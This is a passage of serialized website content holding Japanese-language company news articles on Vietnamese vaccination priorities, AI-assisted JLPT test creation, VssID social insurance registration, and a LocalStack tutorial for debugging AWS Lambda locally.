",[57,6501,6502],{"href":6502,"rel":6503},"https:\u002F\u002Fwww.clipartmax.com\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":6505},[],"2024-04-02","近年、インフォメーションテクノロジー（英：Information Technology、略：IT）という情報技術が急速に発展しています。それに伴って、特に日本をはじめとして先進国において、ITエンジニアの求人が増えています。ベトナムといった発展途上国へのオフショア開発の形やアウトソーシング形式などで現地の技術者を採用している日本のソフトウェア開発会社がますます増えています。",{},"\u002Fja\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam",{"title":6326,"description":6507},"ja\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F21085800\u002Fclipart1702370-e1711439089367.png","GwS7zUOCHgLUg3kitsqbT-ZP5m36POMetACQDoT5l7s",{"id":6515,"title":6516,"body":6517,"category":67,"created by":68,"date":6579,"description":6521,"extension":71,"meta":6580,"navigation":73,"path":6581,"sections":75,"seo":6582,"stem":6583,"thumbnail":6584,"__hash__":6585},"content_ja\u002Fja\u002Fnews\u002Fcovid19-vaccination-vn.md","ベトナムにおける11種類の新型コロナウイルスワクチンの優先接種対象者",{"type":8,"value":6518,"toc":6577},[6519,6522,6525,6560,6563,6574],[11,6520,6521],{},"保健省は、最近『COVAXファシリティーにより支援される2021年～2022年における新型コロナウイルスワクチンの受取・保管・配送・使用に関する計画』を承認した事に関する決定第1210\u002FQĐ-BYT号を公布しました。",[11,6523,6524],{},"以下に、ベトナムにおける新型コロナウイルス流行状況とワクチン供給の現状を踏まえた11種類の優先接種対象者および接種順位を示します。",[854,6526,6527,6530,6533,6536,6539,6542,6545,6548,6551,6554,6557],{"style":2613},[11,6528,6529],{},"1. 医療従事者",[11,6531,6532],{},"2. 各級の指導委員会、隔離地域の従事者、記者といった感染予防従事者",[11,6534,6535],{},"3. 外交官、税関職員、出入国管理官",[11,6537,6538],{},"4. 軍関係者",[11,6540,6541],{},"5. 公安職員",[11,6543,6544],{},"6. 教員",[11,6546,6547],{},"7. 65歳以上の高齢者",[11,6549,6550],{},"8. 航空、運輸、旅行、電気、水道といった必須サービス提供者",[11,6552,6553],{},"9. 慢性疾患患者",[11,6555,6556],{},"10. 海外への留学・勤務・出張を希望する者",[11,6558,6559],{},"11. 感染流行地域の住民",[11,6561,6562],{},"4.886.600回分の新型コロナウイルスワクチンは以下のように分配されます。",[31,6564,6565,6568,6571],{},[34,6566,6567],{},"2021年第1四半期には、医療従事者、感染予防従事者を対象とし、およそ1.200.000回分の新型コロナウイルスワクチン（600.000人分相当）を分配します。",[34,6569,6570],{},"2021年第2四半期には、外交官、税関職員、出入国管理官、軍関係者、公安職員、教員を対象とし、およそ3.600.000回分の新型コロナウイルスワクチン（1.800.000人分相当）を分配します。",[34,6572,6573],{},"2021年第3四半期ならびに第4四半期には、COVAXファシリティーが2021年第3四半期から残り分を支援して、教員、65歳以上の高齢者、必須サービス提供者、慢性疾患患者を対象とし、およそ33.000.000回分の新型コロナウイルスワクチン（16.000.000人分相当）を分配します。",[11,6575,6576],{},"本決定は2021年2月9日から公布され、有効になります。",{"title":64,"searchDepth":65,"depth":65,"links":6578},[],"2021-04-09",{},"\u002Fja\u002Fnews\u002Fcovid19-vaccination-vn",{"title":6516,"description":6521},"ja\u002Fnews\u002Fcovid19-vaccination-vn","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F25135620\u002FFeature-image.png","AuNd_1OhEQE6oMFzNdAe1ANRs_ZZ6z77uavnjKLWV7g",{"id":6587,"title":6588,"body":6589,"category":6724,"created by":68,"date":6725,"description":6726,"extension":71,"meta":6727,"navigation":73,"path":6728,"sections":75,"seo":6729,"stem":6730,"thumbnail":6731,"__hash__":6732},"content_ja\u002Fja\u002Fnews\u002Fcreatedocument-by-generativeai.md","生成AIを使ったテストコンテンツの作成から公開まで | Exam Site",{"type":8,"value":6590,"toc":6714},[6591,6595,6598,6605,6608,6611,6614,6618,6621,6641,6645,6648,6652,6655,6659,6668,6671,6677,6680,6688,6691,6698,6701,6704,6707],[495,6592,6594],{"id":6593},"exam-siteのご紹介","Exam Siteのご紹介",[11,6596,6597],{},"弊社では、プログラミング、AWS、日本語能力試験（JLPT N3）など、さまざまな分野の知識をテストするExam Siteを運用しています。このサイトはまだベータ版ですが、興味を持っていただける方は以下からアクセスしていただけます。",[11,6599,6600],{},[57,6601,6603],{"href":6602,"title":6603,"rel":6604},"https:\u002F\u002Fexam-site.briswell-vn.com\u002F","Exam Site",[61],[495,6606,6607],{"id":6607},"テストコンテンツの作成方法",[11,6609,6610],{},"一から全ての問題や、解答、その説明を作成すると非常に時間がかかります。 問題の内容以外に、文章の言葉や、文法も正しいかレビューする必要があります。 そのため、弊社ではいくつかのAIサービスを利用し、テストを提供しています。",[11,6612,6613],{},"今回はJLPT　N3の問題を作成するまでのプロセスを紹介したいと思います。",[660,6615,6617],{"id":6616},"_1-テスト問題を作る","1. テスト問題を作る",[11,6619,6620],{},"テスト問題を作る時は2種類の方法があります。",[31,6622,6623,6626],{},[34,6624,6625],{},"プロンプトを用いる方法： ChatGPTに指定したプロンプトを基に問題を作成してもらいます。",[34,6627,6628,6629,6634,6635,6640],{},"資料から作成する方法： 特定の文献や資料の内容をChatGPTに読み込ませ、それに基づいて問題を作成してもらいます。 例えば、",[57,6630,6633],{"href":6631,"title":6632},"\u002Fja\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10\u002F","新機能とLARAVEL 8からLARAVEL 10へのアップグレード方法","こちらのサイト","の記事の内容を読み込ませて、作成したテストが、",[57,6636,6639],{"href":6637,"title":6632,"rel":6638},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002FcopKXQI21W",[61],"こちらのテスト","になります。",[660,6642,6644],{"id":6643},"_2-画像を追加する","2. 画像を追加する",[11,6646,6647],{},"問題にあったフリーの画像を探して、それを問題に組み合わせます。 (ChatGPTのDALL E-3が利用できるようになっているので、今後はこちらも生成AIのものを利用していくかもしれません。)",[660,6649,6651],{"id":6650},"_3-レビューを行う","3. レビューを行う",[11,6653,6654],{},"レビューは人とAIの協力のもと進めていきます。 AIの役割は、説明や答えがあっているかチェックすることです。ChatGPT、 Bing、 Google Bardなど複数のものを使用しチェックしています。 人の役割は、主に問題として適切かどうかをチェックします。よく発生する問題として、選択肢の間違いのものが、複数の問題で使用されていて、選択肢が明らかに間違いがわかってしまったり、４択問題で最後の選択肢がほぼ正解として設定されていなかったり、偏りが発生することがあります。 テスト問題作成のプロンプトに問題があるからかもしれませんが、このように人の確認とAIの確認を組み合わせています。",[660,6656,6658],{"id":6657},"_4-音声ファイルを作成する","4. 音声ファイルを作成する",[11,6660,6661,6662,6667],{},"こちらはGoogleのText to SpeechやNatural Readers、色々迷いながら試して見ました。最終的に",[57,6663,6665],{"href":6664,"title":6665,"rel":6666},"https:\u002F\u002Fwww.narakeet.com\u002F","Narakeet",[61],"を使用しています。 音声が他のものと比べると自然な感じなのと、スクリプトファイルで音声作成の指示ができるためです。 スクリプトファイルで指示ができるため、会話の音声の切り替えが音声ファイル作成時にでき、音声編集がいらない、また、少し編集したい時に再出力が容易です。",[11,6669,6670],{},"スクリプトの例",[696,6672,6675],{"className":6673,"code":6674,"language":701},[699],"(voice: Takeshi) \n4番： \n(voice: Tomoka) \n明日の会議は8時半からです。遅れないようにしてください。 (\nvoice: Takeshi) \n1. \n(voice: Kasumi) \n了解しました。 \n(voice: Takeshi) \n2. \n(voice: Kasumi) \n構わないです。 \n(voice: Takeshi) \n3. \n(voice: Kasumi) \nどういたしまして。\n",[703,6676,6674],{"__ignoreMap":64},[11,6678,6679],{},"出力した結果がこちらです。",[6681,6682,6338,6684],"audio",{"controls":73,"style":6683},"width: 100%",[6685,6686],"source",{"src":6687},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F25170220\u002FMondai-5.4.mp3",[11,6689,6690],{},"ここまでがテストを作成する工程となります。 あとは、これをExam Siteの管理画面で登録するのみです。 こちらがこの工程で作られたテストとなっております。",[11,6692,6693],{},[57,6694,6696],{"href":6695,"title":6696,"rel":6697},"https:\u002F\u002Fexam-site.briswell-vn.com\u002Ftesting\u002Fjlpt-n3-listening-1","JLPT N3 問題 - 聴解①",[61],[495,6699,6700],{"id":6700},"最後に",[11,6702,6703],{},"Exam Siteは、効率的かつ多様なテストコンテンツを提供するために、様々なテクノロジーを活用してテストコンテンツを作成・公開しています。これらのプロセスを通じて、テスト問題を皆様に提供し続けます。",[11,6705,6706],{},"よければX(Twitter)をフォローして頂けると幸いです。",[11,6708,6709],{},[57,6710,6712],{"href":6711,"title":6712,"rel":6713},"https:\u002F\u002Ftwitter.com\u002FTrainJapan_Exam","Train Japanese | Exam Site",[61],{"title":64,"searchDepth":65,"depth":65,"links":6715},[6716,6717,6723],{"id":6593,"depth":65,"text":6594},{"id":6607,"depth":65,"text":6607,"children":6718},[6719,6720,6721,6722],{"id":6616,"depth":1375,"text":6617},{"id":6643,"depth":1375,"text":6644},{"id":6650,"depth":1375,"text":6651},{"id":6657,"depth":1375,"text":6658},{"id":6700,"depth":65,"text":6700},"AI","2023-11-03","Exam Siteのご紹介 弊社では、プログラミング、AWS、日本語能力試験（JLPT N3）など、さまざまな分野の知識をテストするExam Siteを運用しています。このサイトはまだベータ版ですが、興味を持っていただける方は以下からアクセスしていただけます。",{},"\u002Fja\u002Fnews\u002Fcreatedocument-by-generativeai",{"title":6588,"description":6726},"ja\u002Fnews\u002Fcreatedocument-by-generativeai","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F11\u002F03095653\u002Fexam-site-top.png","RvI7sUK8_Vzo6DQPCo72GnDjcCgUyI3GHOuIeYiyeu4",{"id":6734,"title":6735,"body":6736,"category":67,"created by":68,"date":6884,"description":6740,"extension":71,"meta":6885,"navigation":73,"path":6886,"sections":75,"seo":6887,"stem":6888,"thumbnail":6889,"__hash__":6890},"content_ja\u002Fja\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so.md","デジタル社会保険・VssIDへの電子取引アカウントの登録",{"type":8,"value":6737,"toc":6882},[6738,6741,6744,6747,6754,6773,6776,6786,6791,6816,6824,6856],[11,6739,6740],{},"社会保険手帳及び健康保険証を電子化した各機能を統合することにより社会保険や健康保険に関する手続き等を国民がより便利にオンラインで行うことを図り、デジタル社会保険・VssIDアプリケーションと呼ばれる、モバイル端末で動作するベトナム社会保険アプリケーションが生まれました。",[11,6742,6743],{},"利用者はVssIDアプリケーションにログインして各機能を利用するには、前もって電子取引を社会保険機関と行うためのアカウントを登録し、当アプリケーションをダウンロードしてインストールする必要があります。",[11,6745,6746],{},"以下に、アカウントを登録する手順を示します。",[11,6748,6749,197],{},[57,6750,6753],{"href":6751,"rel":6752},"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vn%E3%81%B8%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%81%97%E3%81%A6%E3%80%81%E4%BB%A5%E4%B8%8B%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB%E8%A1%8C%E3%81%84%E3%81%BE%E3%81%99%E3%80%82",[61],"https:\u002F\u002Fdichvucong.baohiemxahoi.gov.vnへアクセスして、以下のように行います。",[11,6755,6756,6757,6760,6761,6764,6765,6768,6769,6772],{},"- まず、",[20,6758,6759],{},"登録","ボタンを押下した後、登録対象項目で",[20,6762,6763],{},"個人","を選択し、",[20,6766,6767],{},"次へ","ボタンを押下することで",[20,6770,6771],{},"申請フォーム","を開きます。 ",[11,6774,6775],{},"- 画像アップロード ",[854,6777,6778],{"style":2613},[31,6779,6780,6783],{},[34,6781,6782],{},"肖像写真（4x6）",[34,6784,6785],{},"身分証明書ないし身分証明カードまたは旅券の表裏の写真 ",[31,6787,6788],{},[34,6789,6790],{},"以下の必須項目を入力します。",[854,6792,6793],{"style":2613},[31,6794,6795,6798,6801,6804,6807,6810,6813],{},[34,6796,6797],{},"氏名（声調記号付け） ",[34,6799,6800],{},"社会保険番号（健康保険証番号の下10桁） ",[34,6802,6803],{},"身分証明書ないし身分証明カードまたは旅券の番号",[34,6805,6806],{},"住所",[34,6808,6809],{},"連絡先",[34,6811,6812],{},"電子メールアドレス",[34,6814,6815],{},"携帯電話番号",[31,6817,6818],{},[34,6819,6820,6823],{},[20,6821,6822],{},"選択","押下時に表示されるポップアップで対象の社会保険機関を以下のように選択します。",[854,6825,6826,6841,6846,6851],{"style":2613},[31,6827,6828],{},[34,6829,6830,6831],{},"［079］ホーチミン市社会保険機関  \n",[31,6832,6833,6836],{},[34,6834,6835],{},"07911］3区社会保険機関",[34,6837,6838,6840],{},[20,6839,6822],{},"ボタン押下",[11,6842,6843],{},[20,6844,6845],{},"留意事項：",[11,6847,6848],{},[2645,6849,6850],{},"利用者はアカウントを登録し、会社に申請書を提出するよう依頼する場合において、会社の本部が位置する地区の社会保険機関を選択します。",[11,6852,6853],{},[2645,6854,6855],{},"利用者はアカウントを登録し、会社に依頼せず申請書を自分で提出する場合において、最寄りの社会保険機関を選択します。",[31,6857,6858,6865,6879],{},[34,6859,6860,6861,6864],{},"あと、",[20,6862,6863],{},"申請","ボタンを押下した時、入力した情報の申請書PDFが出力し、自動的にダウンロードされます。その申請書PDFを印刷し署名してから、会社の管理部門へ提出します。会社の管理部門は社員の申請書を集まって前述の如く選択した社会保険機関へ一括提出します。なお、社会保険機関からは承認した直後、登録した携帯電話番号へアカウントIDとパスワードをメッセージ送信します。",[34,6866,6867,6868],{},"以下に、VssIDアプリケーションをダウンロードする手順を示します。\n",[31,6869,6870,6873,6876],{},[34,6871,6872],{},"Androidの場合にGoogle Play、iOSの場合にAppStoreへアクセスし、検索欄に『VssID』を入力し検索します。",[34,6874,6875],{},"VssIDアプリケーション（青い社会保険ロゴ）を選択します。",[34,6877,6878],{},"インストール押下で端末にインストールします。",[34,6880,6881],{},"その後、利用者は受信したアカウントIDとパスワードを使ってVssIDアプリケーションへログインして、社会保険や健康保険への加入歴・受給歴を閲覧したり、他の機能を利用したりすることができます。",{"title":64,"searchDepth":65,"depth":65,"links":6883},[],"2021-05-27",{},"\u002Fja\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so",{"title":6735,"description":6740},"ja\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F07170644\u002FDangKyMoVssID.png","jxPrJP6KTmigeKn-krKbedzNucoHfAgMepl6mL7nDfc",{"id":6892,"title":6893,"body":6894,"category":1388,"created by":68,"date":7270,"description":6904,"extension":71,"meta":7271,"navigation":73,"path":7272,"sections":75,"seo":7273,"stem":7274,"thumbnail":7275,"__hash__":7276},"content_ja\u002Fja\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack.md","LocalStackを使ったAWS Lambdaデバッグ",{"type":8,"value":6895,"toc":7243},[6896,6902,6905,6907,6911,6914,6920,6926,6929,6935,6939,6942,6948,6952,6956,6959,6965,6968,6974,6978,6981,6987,6990,6994,6997,7001,7005,7009,7012,7018,7022,7025,7031,7034,7037,7043,7046,7052,7056,7059,7065,7069,7072,7078,7081,7085,7089,7092,7096,7099,7105,7108,7112,7116,7120,7123,7129,7132,7139,7143,7146,7152,7154,7159,7165,7171,7175,7177,7181,7184,7188,7191,7195,7199,7205,7211,7217,7223,7229,7232,7235,7237],[495,6897,6899],{"id":6898},"localstackとは",[20,6900,6901],{},"LocalStackとは？",[11,6903,6904],{},"LocalStackは、パーソナルコンピューターまたはサーバー上に疑似されたクラウド環境でアプリケーションを展開して実行するために使われるオープンソース ソフトウェア開発ツールです。 Amazon S3、AWS Lambda、DynamoDBなど流行っているクラウドサービスのレプリカを提供します。これにより、本物のクラウド環境に接続することなく、アプリケーションの開発、テスト、デバッグが可能になります。",[495,6906,1868],{"id":1868},[660,6908,6910],{"id":6909},"localstackインストール","LocalStackインストール",[11,6912,6913],{},"以下のマニュアルを参照してLocalStackをインストールします。",[11,6915,6916],{},[57,6917,6918],{"href":6918,"rel":6919},"https:\u002F\u002Fdocs.localstack.cloud\u002Fgetting-started\u002Finstallation\u002F",[61],[660,6921,6923],{"id":6922},"dockerインストール",[20,6924,6925],{},"Dockerインストール",[11,6927,6928],{},"以下のマニュアルを参照してDockerをインストールします。",[11,6930,6931],{},[57,6932,6933],{"href":6933,"rel":6934},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Finstall\u002F",[61],[660,6936,6938],{"id":6937},"aws-cliインストール","AWS CLIインストール",[11,6940,6941],{},"以下のマニュアルを参照してAWS CLIをインストールして、ロカール環境のプロフィールを設定します。",[11,6943,6944],{},[57,6945,6946],{"href":6946,"rel":6947},"https:\u002F\u002Fdocs.localstack.cloud\u002Fuser-guide\u002Fintegrations\u002Faws-cli\u002F#aws-cli",[61],[495,6949,6951],{"id":6950},"localstack設定","LocalStack設定",[660,6953,6955],{"id":6954},"docker-composeyml作成","docker-compose.yml作成",[11,6957,6958],{},"Docker-Composeの設定を使ってLocalStackを起動します。docker-compose.ymlというファイルを新たに作成し、以下のように設定します。",[696,6960,6963],{"className":6961,"code":6962,"language":701},[699],"version: \"3.8\"\n\nservices:\n  localstack:\n    container_name: \"${LOCALSTACK_DOCKER_NAME-localstack_main}\"  # Name of the container to be used\n    image: localstack\u002Flocalstack:latest  # Docker image for LocalStack, latest version\n    ports:\n      - \"127.0.0.1:4566:4566\"            # Port for accessing LocalStack Gateway from the local machine\n      - \"127.0.0.1:4510-4559:4510-4559\"  # Port range for external services\n    environment:\n      - DEBUG=1  # Enable Debug mode in LocalStack\n      - LAMBDA_REMOTE_DOCKER=0  # Turn off remote Docker usage for Lambda\n      - LAMBDA_DOCKER_FLAGS=-e NODE_OPTIONS=--inspect-brk=0.0.0.0:9229 -p 9229:9229  # Exposes port 9229 for debugging the Lambda handler code.\n      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR-}  # Lambda execution type (if defined)\n      - DOCKER_HOST=unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock  # Link to Docker via Docker socket\n    volumes:\n      - \"${LOCALSTACK_VOLUME_DIR:-.\u002Fvolume}:\u002Fvar\u002Flib\u002Flocalstack\"  # Mount point for LocalStack data directory\n      - \"\u002Fvar\u002Frun\u002Fdocker.sock:\u002Fvar\u002Frun\u002Fdocker.sock\"  # Mount Docker socket to access Docker from the LocalStack container\n",[703,6964,6962],{"__ignoreMap":64},[11,6966,6967],{},"また、以下のマニュアルを参照してLocalStack の他の設定を追加することができます。",[11,6969,6970],{},[57,6971,6972],{"href":6972,"rel":6973},"https:\u002F\u002Fdocs.localstack.cloud\u002Freferences\u002Fconfiguration\u002F",[61],[660,6975,6977],{"id":6976},"dockerを使ったlocalstack起動","Dockerを使ったLocalStack起動",[11,6979,6980],{},"以下のコマンドを実行してLocalStackを起動します。",[696,6982,6985],{"className":6983,"code":6984,"language":701},[699],"docker compose up -d\n",[703,6986,6984],{"__ignoreMap":64},[11,6988,6989],{},"上記のコマンドを実行した後、Docker ContainerがRunningになっていることを確認できます。",[530,6991],{"className":6992,"alt":64,"src":6993,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12132634\u002Fdocker-container-start.png",[11,6995,6996],{},"そして、LocalStackの起動が完了します。",[530,6998],{"className":6999,"alt":64,"src":7000,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12134424\u002Flocalstack-start-success.png",[495,7002,7004],{"id":7003},"lambda関数デバッグ設定","Lambda関数デバッグ設定",[660,7006,7008],{"id":7007},"launchjson作成","launch.json作成",[11,7010,7011],{},".vscode\u002Flaunch.jsonファイルを作成して、以下のように設定します。",[696,7013,7016],{"className":7014,"code":7015,"language":701},[699],"{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"address\": \"127.0.0.1\",\n      \"localRoot\": \"${workspaceFolder}\",\n      \"name\": \"Attach to Remote Node.js\",\n      \"port\": 9229,\n      \"remoteRoot\": \"\u002Fvar\u002Ftask\u002F\",\n      \"request\": \"attach\",\n      \"type\": \"node\",\n      \"preLaunchTask\": \"Wait Remote Debugger Server\"\n    },\n  ]\n}\n",[703,7017,7015],{"__ignoreMap":64},[660,7019,7021],{"id":7020},"tasksjson作成","tasks.json作成",[11,7023,7024],{},".vscode\u002Ftasks.jsonファイルを作成して、以下のように設定します。",[696,7026,7029],{"className":7027,"code":7028,"language":701},[699],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"while [[ -z $(docker ps | grep :9229) ]]; do sleep 1; done; sleep 1;\"\n    }\n  ]\n}\n",[703,7030,7028],{"__ignoreMap":64},[11,7032,7033],{},"注意：上記の実装はLinuxやmacOSでしか動作できません。Windowsの場合、以下のように実装する必要があります。",[11,7035,7036],{},".vscode\u002Ftasks.jsonファイルを作成します。",[696,7038,7041],{"className":7039,"code":7040,"language":701},[699],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"powershell\",\n      \"args\": [\n        \".\\\\.vscode\\\\wait-debugger.ps1\"\n      ]\n    }\n  ]\n}\n",[703,7042,7040],{"__ignoreMap":64},[11,7044,7045],{},".vscode\u002Fwait-debugger.ps1ファイルを作成します。",[696,7047,7050],{"className":7048,"code":7049,"language":701},[699],"while (-not (docker ps | Select-String \":9229\")) {\n  Start-Sleep -Seconds 1\n}\nStart-Sleep -Seconds 1\n",[703,7051,7049],{"__ignoreMap":64},[660,7053,7055],{"id":7054},"functionts作成","function.ts作成",[11,7057,7058],{},"以下の例では、デバッグのために使われる、Node.jsとTypeScriptで開発したLambda関数が含まれたfunction.tsファイルを作成します。",[696,7060,7063],{"className":7061,"code":7062,"language":701},[699],"export const  handler = async (event: any) =>  {\n  const response = {\n    statusCode: 200,\n    body: \"hello word\",\n  };\n  return response;\n};\n",[703,7064,7062],{"__ignoreMap":64},[495,7066,7068],{"id":7067},"localstackでのlambda関数作成","LocalStackでのLambda関数作成",[11,7070,7071],{},"以下のコマンドを実行して、Lambda関数をLocalStackで生成します。",[696,7073,7076],{"className":7074,"code":7075,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda create-function \\\n--function-name localstack-lambda-function \\\n--code S3Bucket=\"hot-reload\",S3Key=\"$(pwd)\u002F\" \\\n--handler function.handler \\\n--runtime nodejs18.x \\\n--timeout 120 \\\n--role arn:aws:iam::000000000000:role\u002Flambda-role\n",[703,7077,7075],{"__ignoreMap":64},[11,7079,7080],{},"上記のコマンドを実行した後、Lambda関数がLocalStackで生成されたことを確認できます。",[530,7082],{"className":7083,"alt":64,"src":7084,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13084745\u002Fcreate-lambda-function-on-localstack-1024x495.png",[495,7086,7088],{"id":7087},"lambda関数のデバッグ","Lambda関数のデバッグ",[11,7090,7091],{},"VS Codeでは、ソースをデバッグしたいところでブレークポイントを配置し、F5キーを押して実行することでデバッグを行うことができます。",[530,7093],{"className":7094,"alt":64,"src":7095,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091141\u002Fstart-debug-lambda-local-1024x532.png",[11,7097,7098],{},"以下のコマンドでLambda関数を実行します。",[696,7100,7103],{"className":7101,"code":7102,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda invoke \\\n--function-name localstack-lambda-function lambda.log \\\n--cli-binary-format raw-in-base64-out \\\n--payload '{\"hello\":\"world\"}'\n",[703,7104,7102],{"__ignoreMap":64},[11,7106,7107],{},"上記のコマンドを実行した後、デバッグが完了します。",[530,7109],{"className":7110,"alt":64,"src":7111,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091644\u002Fdebug-success-1024x526.png",[495,7113,7115],{"id":7114},"amazon-s3を使ったlambda-関数をデバッグしてのファイルアップロード時aws-lambdaトリガー","Amazon S3を使ったLambda 関数をデバッグしてのファイルアップロード時AWS Lambdaトリガー",[660,7117,7119],{"id":7118},"amazon-s3でのバケット作成","Amazon S3でのバケット作成",[11,7121,7122],{},"以下のコマンドを使ってAmazon S3でバケットを作成します。",[696,7124,7127],{"className":7125,"code":7126,"language":701},[699],"aws s3api create-bucket --bucket local-stack-bucket --create-bucket-configuration LocationConstraint=ap-northeast-1 --endpoint-url=http:\u002F\u002Flocalhost:4566\n",[703,7128,7126],{"__ignoreMap":64},[11,7130,7131],{},"そのコマンドの中で",[11,7133,7134,7135,7138],{},"・",[20,7136,7137],{},"local-stack-bucket","：バケットの名前",[660,7140,7142],{"id":7141},"amazon-s3トリガーのlambda関数への設定","Amazon S3トリガーのLambda関数への設定",[11,7144,7145],{},"以下のコマンドを使って、ファイルアップロード時にLambda関数をAmazon S3へトリガーします。",[696,7147,7150],{"className":7148,"code":7149,"language":701},[699],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 s3api put-bucket-notification-configuration \\\n    --bucket local-stack-bucket \\\n    --notification-configuration '{\n        \"LambdaFunctionConfigurations\": [\n          {\n            \"Id\": \"1\", \n            \"LambdaFunctionArn\": \"arn:aws:lambda:ap-northeast-1:000000000000:function:localstack-lambda-function\",\n            \"Events\": [\"s3:ObjectCreated:*\"]\n          }\n        ]\n    }'\n",[703,7151,7149],{"__ignoreMap":64},[11,7153,7131],{},[11,7155,7134,7156,7158],{},[20,7157,7137],{},"：設定するバケットの名前",[11,7160,7134,7161,7164],{},[20,7162,7163],{},"LambdaFunctionArn","：トリガーするLambda関数のArn",[11,7166,7134,7167,7170],{},[20,7168,7169],{},"Events","：Lambda関数トリガーのためのAmazon S3のイベント",[660,7172,7174],{"id":7173},"lambda関数のデバッグ進行","Lambda関数のデバッグ進行",[11,7176,7091],{},[530,7178],{"className":7179,"alt":64,"src":7180,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05135231\u002Fcode-debug-1-1024x520.png",[11,7182,7183],{},"その後、ファイルをLocalStackのクラウド上のAmazon S3バケットにアップロードします。",[530,7185],{"className":7186,"alt":64,"src":7187,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145618\u002Fapp-localstack-1024x369.png",[11,7189,7190],{},"ファイルをアップロードした後、デバッグが完了します。",[530,7192],{"className":7193,"alt":64,"src":7194,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145927\u002Fresult-debug-1024x522.png",[495,7196,7198],{"id":7197},"localstackのデメリット","LocalStackのデメリット",[11,7200,7201,7204],{},[20,7202,7203],{},"AWSサービスへのサポート制限","：LocalStackは、S3、DynamoDB、Lambda、SQSといった重要なサービスのシミュレーションを提供します。しかし、全てのAWSサービスをサポートする訳ではありません。一部のサービスは利用できないか、一部機能する場合があります。若しアプリケーションがサポートされていないサービスに依存する場合、面倒になります。",[11,7206,7207,7210],{},[20,7208,7209],{},"機能不足","：LocalStackはサービスを擬似しますが、全て機能する訳ではありません。設定オプションが制限されるので、ローカル開発環境とAWS上の実際環境との同一性が低くなります。",[11,7212,7213,7216],{},[20,7214,7215],{},"拡張性制限","：LocalStackは、AWS環境と違って、積極的に拡張できるようにデザインされません。大規模なプロジェクトの場合、ローカル環境で開発しテストを実施することはAWSで行う時の現状と合わないこともあります。",[11,7218,7219,7222],{},[20,7220,7221],{},"遅延","：LocalStackは、AWSサービスを擬似して複製したので実際のサービス使用に比べて遅延が発生する可能性があります。これにより、開発とテストが遅くなり、生産性が低下します。",[11,7224,7225,7228],{},[20,7226,7227],{},"スロー更新","：LocalStackは、AWS サービスの新しいバージョンに伴い更新はすぐにしない可能性があります。これにより、AWSの新しい機能を使う時やAWS 